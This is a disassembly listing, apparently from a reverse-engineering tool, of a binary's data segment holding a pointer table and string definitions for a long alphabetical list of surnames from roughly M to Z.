dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aZytowski db 'Zytowski',0 ; DATA XREF: seg002:0042FEC8o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: seg002:0042FEC4o
align 10h
aZurn db 'Zurn',0 ; DATA XREF: seg002:0042FEC0o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: seg002:0042FEBCo
aZoldak db 'Zoldak',0 ; DATA XREF: seg002:0042FEB8o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: seg002:0042FEB4o
aZegans db 'Zegans',0 ; DATA XREF: seg002:0042FEB0o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: seg002:0042FEACo
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: seg002:0042FEA8o
align 4
aZachary db 'Zachary',0 ; DATA XREF: seg002:0042FEA4o
aYu db 'Yu',0 ; DATA XREF: seg002:0042FEA0o
align 4
aYoukSee db 'Youk-See',0 ; DATA XREF: seg002:0042FE9Co
align 4
aYoo db 'Yoo',0 ; DATA XREF: seg002:0042FE98o
aYoffe db 'Yoffe',0 ; DATA XREF: seg002:0042FE94o
align 10h
aYetiv db 'Yetiv',0 ; DATA XREF: seg002:0042FE90o
align 4
aYesson db 'Yesson',0 ; DATA XREF: seg002:0042FE8Co
align 10h
aYedidia db 'Yedidia',0 ; DATA XREF: seg002:0042FE88o
aYbarra db 'Ybarra',0 ; DATA XREF: seg002:0042FE84o
align 10h
aYates db 'Yates',0 ; DATA XREF: seg002:0042FE80o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: seg002:0042FE7Co
aYankee db 'Yankee',0 ; DATA XREF: seg002:0042FE78o
align 4
aYamane db 'Yamane',0 ; DATA XREF: seg002:0042FE74o
align 10h
aYacono db 'Yacono',0 ; DATA XREF: seg002:0042FE70o
align 4
aVotey db 'Votey',0 ; DATA XREF: seg002:0042FE6Co
align 10h
aVorhaus db 'Vorhaus',0 ; DATA XREF: seg002:0042FE68o
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: seg002:0042FE64o
align 4
aWoods db 'Woods',0 ; DATA XREF: seg002:0042FE60o
align 10h
aWooden db 'Wooden',0 ; DATA XREF: seg002:0042FE5Co
align 4
aWoo db 'Woo',0 ; DATA XREF: seg002:0042FE58o
aVonhoffman db 'VonHoffman',0 ; DATA XREF: seg002:0042FE54o
align 4
aWolk db 'Wolk',0 ; DATA XREF: seg002:0042FE50o
align 10h
aVoigt db 'Voigt',0 ; DATA XREF: seg002:0042FE4Co
align 4
aViviani db 'Viviani',0 ; DATA XREF: seg002:0042FE48o
aVitali db 'Vitali',0 ; DATA XREF: seg002:0042FE44o
align 4
aWilson db 'Wilson',0 ; DATA XREF: seg002:0042FE40o
align 10h
aWillstatter db 'Willstatter',0 ; DATA XREF: seg002:0042FE3Co
aVillarreal db 'Villarreal',0 ; DATA XREF: seg002:0042FE38o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: seg002:0042FE34o
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: seg002:0042FE30o
align 4
aWilk db 'Wilk',0 ; DATA XREF: seg002:0042FE2Co
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: seg002:0042FE28o
aWilder db 'Wilder',0 ; DATA XREF: seg002:0042FE24o
align 4
aVignola db 'Vignola',0 ; DATA XREF: seg002:0042FE20o
aViens db 'Viens',0 ; DATA XREF: seg002:0042FE1Co
align 4
aWiener db 'Wiener',0 ; DATA XREF: seg002:0042FE18o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: seg002:0042FE14o
aViano db 'Viano',0 ; DATA XREF: seg002:0042FE10o
align 10h
aViana db 'Viana',0 ; DATA XREF: seg002:0042FE0Co
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: seg002:0042FE08o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: seg002:0042FE04o
align 4
aWhite db 'White',0 ; DATA XREF: seg002:0042FE00o
align 4
aWhilton db 'Whilton',0 ; DATA XREF: seg002:0042FDFCo
aWhately db 'Whately',0 ; DATA XREF: seg002:0042FDF8o
aWetzel db 'Wetzel',0 ; DATA XREF: seg002:0042FDF4o
align 4
aWescott db 'Wescott',0 ; DATA XREF: seg002:0042FDF0o
aVerghese db 'Verghese',0 ; DATA XREF: seg002:0042FDECo
align 10h
aVenne db 'Venne',0 ; DATA XREF: seg002:0042FDE8o
align 4
aWengret db 'Wengret',0 ; DATA XREF: seg002:0042FDE4o
aWelsh db 'Welsh',0 ; DATA XREF: seg002:0042FDE0o
align 4
aWelles db 'Welles',0 ; DATA XREF: seg002:0042FDDCo
align 10h
aVelasquez db 'Velasquez',0 ; DATA XREF: seg002:0042FDD8o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: seg002:0042FDD4o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: seg002:0042FDD0o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: seg002:0042FDCCo
align 10h
aWeingarten db 'Weingarten',0 ; DATA XREF: seg002:0042FDC8o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: seg002:0042FDC4o
align 4
aWaugh db 'Waugh',0 ; DATA XREF: seg002:0042FDC0o
align 10h
aVasquez db 'Vasquez',0 ; DATA XREF: seg002:0042FDBCo
aWasowska db 'Wasowska',0 ; DATA XREF: seg002:0042FDB8o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: seg002:0042FDB4o
align 10h
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: seg002:0042FDB0o
align 10h
aVandenberg db 'Vandenberg',0 ; DATA XREF: seg002:0042FDACo
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: seg002:0042FDA8o
aVanallen db 'vanAllen',0 ; DATA XREF: seg002:0042FDA4o
align 10h
aWalter db 'Walter',0 ; DATA XREF: seg002:0042FDA0o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: seg002:0042FD9Co
align 4
aWales db 'Wales',0 ; DATA XREF: seg002:0042FD98o
align 4
aValencia db 'Valencia',0 ; DATA XREF: seg002:0042FD94o
align 4
aValberg db 'Valberg',0 ; DATA XREF: seg002:0042FD90o
aWaite db 'Waite',0 ; DATA XREF: seg002:0042FD8Co
align 4
aVacca db 'Vacca',0 ; DATA XREF: seg002:0042FD88o
align 10h
aUzuner db 'Uzuner',0 ; DATA XREF: seg002:0042FD84o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: seg002:0042FD80o
align 10h
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: seg002:0042FD7Co
align 10h
aUrban db 'Urban',0 ; DATA XREF: seg002:0042FD78o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: seg002:0042FD74o
aUntermeyer db 'Untermeyer',0 ; DATA XREF: seg002:0042FD70o
align 4
aUllman db 'Ullman',0 ; DATA XREF: seg002:0042FD6Co
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: seg002:0042FD68o
align 10h
aTwells db 'Twells',0 ; DATA XREF: seg002:0042FD64o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: seg002:0042FD60o
align 10h
aTurek db 'Turek',0 ; DATA XREF: seg002:0042FD5Co
align 4
aTurano db 'Turano',0 ; DATA XREF: seg002:0042FD58o
align 10h
aTukan db 'Tukan',0 ; DATA XREF: seg002:0042FD54o
align 4
aTudge db 'Tudge',0 ; DATA XREF: seg002:0042FD50o
align 10h
aTuck db 'Tuck',0 ; DATA XREF: seg002:0042FD4Co
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: seg002:0042FD48o
align 4
aTsomides db 'Tsomides',0 ; DATA XREF: seg002:0042FD44o
align 10h
aTsiatis db 'Tsiatis',0 ; DATA XREF: seg002:0042FD40o
aTruss db 'Truss',0 ; DATA XREF: seg002:0042FD3Co
align 10h
aTroy db 'Troy',0 ; DATA XREF: seg002:0042FD38o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: seg002:0042FD34o
aTringali db 'Tringali',0 ; DATA XREF: seg002:0042FD30o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: seg002:0042FD2Co
align 4
aTrenga db 'Trenga',0 ; DATA XREF: seg002:0042FD28o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: seg002:0042FD24o
align 4
aToye db 'Toye',0 ; DATA XREF: seg002:0042FD20o
align 10h
aTowler db 'Towler',0 ; DATA XREF: seg002:0042FD1Co
align 4
aTorske db 'Torske',0 ; DATA XREF: seg002:0042FD18o
align 10h
aTorresi db 'Torresi',0 ; DATA XREF: seg002:0042FD14o
aTopulos db 'Topulos',0 ; DATA XREF: seg002:0042FD10o
aToomer db 'Toomer',0 ; DATA XREF: seg002:0042FD0Co
align 4
aTomford db 'Tomford',0 ; DATA XREF: seg002:0042FD08o
aTolman db 'Tolman',0 ; DATA XREF: seg002:0042FD04o
align 4
aTolls db 'Tolls',0 ; DATA XREF: seg002:0042FD00o
align 10h
aTollestrup db 'Tollestrup',0 ; DATA XREF: seg002:0042FCFCo
align 4
aTofallis db 'Tofallis',0 ; DATA XREF: seg002:0042FCF8o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: seg002:0042FCF4o
aTill db 'Till',0 ; DATA XREF: seg002:0042FCF0o
align 4
aTierney db 'Tierney',0 ; DATA XREF: seg002:0042FCECo
aThroop db 'Throop',0 ; DATA XREF: seg002:0042FCE8o
align 4
aThomsen db 'Thomsen',0 ; DATA XREF: seg002:0042FCE4o
aThisted db 'Thisted',0 ; DATA XREF: seg002:0042FCE0o
aThibault db 'Thibault',0 ; DATA XREF: seg002:0042FCDCo
align 4
aTheodos db 'Theodos',0 ; DATA XREF: seg002:0042FCD8o
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: seg002:0042FCD4o
align 4
aThan db 'Than',0 ; DATA XREF: seg002:0042FCD0o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: seg002:0042FCCCo
align 10h
aTenney db 'Tenney',0 ; DATA XREF: seg002:0042FCC8o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: seg002:0042FCC4o
align 10h
aTemes db 'Temes',0 ; DATA XREF: seg002:0042FCC0o
align 4
aTeague db 'Teague',0 ; DATA XREF: seg002:0042FCBCo
align 10h
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: seg002:0042FCB8o
align 4
aTawn db 'Tawn',0 ; DATA XREF: seg002:0042FCB4o
align 4
aTaveras db 'Taveras',0 ; DATA XREF: seg002:0042FCB0o
aTatar db 'Tatar',0 ; DATA XREF: seg002:0042FCACo
align 4
aTanowitz db 'Tanowitz',0 ; DATA XREF: seg002:0042FCA8o
align 10h
aTandler db 'Tandler',0 ; DATA XREF: seg002:0042FCA4o
aTambiah db 'Tambiah',0 ; DATA XREF: seg002:0042FCA0o
aTalaugon db 'Talaugon',0 ; DATA XREF: seg002:0042FC9Co
align 4
aTai db 'Tai',0 ; DATA XREF: seg002:0042FC98o
aTagiuri db 'Tagiuri',0 ; DATA XREF: seg002:0042FC94o
aSwindle db 'Swindle',0 ; DATA XREF: seg002:0042FC90o
aSweetser db 'Sweetser',0 ; DATA XREF: seg002:0042FC8Co
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: seg002:0042FC88o
align 4
aSurdam db 'Surdam',0 ; DATA XREF: seg002:0042FC84o
align 10h
aSuo db 'Suo',0 ; DATA XREF: seg002:0042FC80o
aSumner db 'Sumner',0 ; DATA XREF: seg002:0042FC7Co
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: seg002:0042FC78o
align 4
aStringer db 'Stringer',0 ; DATA XREF: seg002:0042FC74o
align 4
aStreiff db 'Streiff',0 ; DATA XREF: seg002:0042FC70o
aStrauch db 'Strauch',0 ; DATA XREF: seg002:0042FC6Co
aStrange db 'Strange',0 ; DATA XREF: seg002:0042FC68o
aStott db 'Stott',0 ; DATA XREF: seg002:0042FC64o
align 4
aStorer db 'Storer',0 ; DATA XREF: seg002:0042FC60o
align 4
aStonich db 'Stonich',0 ; DATA XREF: seg002:0042FC5Co
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: seg002:0042FC58o
aStockwell db 'Stockwell',0 ; DATA XREF: seg002:0042FC54o
align 4
aStockton db 'Stockton',0 ; DATA XREF: seg002:0042FC50o
align 4
aStock db 'Stock',0 ; DATA XREF: seg002:0042FC4Co
align 10h
aStillwell db 'Stillwell',0 ; DATA XREF: seg002:0042FC48o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: seg002:0042FC44o
align 4
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: seg002:0042FC40o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: seg002:0042FC3Co
aStephanian db 'Stephanian',0 ; DATA XREF: seg002:0042FC38o
align 10h
aSteiner db 'Steiner',0 ; DATA XREF: seg002:0042FC34o
aStefani db 'Stefani',0 ; DATA XREF: seg002:0042FC30o
aStatlender db 'Statlender',0 ; DATA XREF: seg002:0042FC2Co
align 4
aStates db 'States',0 ; DATA XREF: seg002:0042FC28o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: seg002:0042FC24o
align 4
aStang db 'Stang',0 ; DATA XREF: seg002:0042FC20o
align 4
aStam db 'Stam',0 ; DATA XREF: seg002:0042FC1Co
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: seg002:0042FC18o
aStmartin db 'StMartin',0 ; DATA XREF: seg002:0042FC14o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: seg002:0042FC10o
aSpiliotis db 'Spiliotis',0 ; DATA XREF: seg002:0042FC0Co
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: seg002:0042FC08o
align 4
aSpicer db 'Spicer',0 ; DATA XREF: seg002:0042FC04o
align 4
aSperber db 'Sperber',0 ; DATA XREF: seg002:0042FC00o
aSpence db 'Spence',0 ; DATA XREF: seg002:0042FBFCo
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: seg002:0042FBF8o
aSpaulding db 'Spaulding',0 ; DATA XREF: seg002:0042FBF4o
align 4
aSparrow db 'Sparrow',0 ; DATA XREF: seg002:0042FBF0o
aSpanier db 'Spanier',0 ; DATA XREF: seg002:0042FBECo
aSoultanian db 'Soultanian',0 ; DATA XREF: seg002:0042FBE8o
align 4
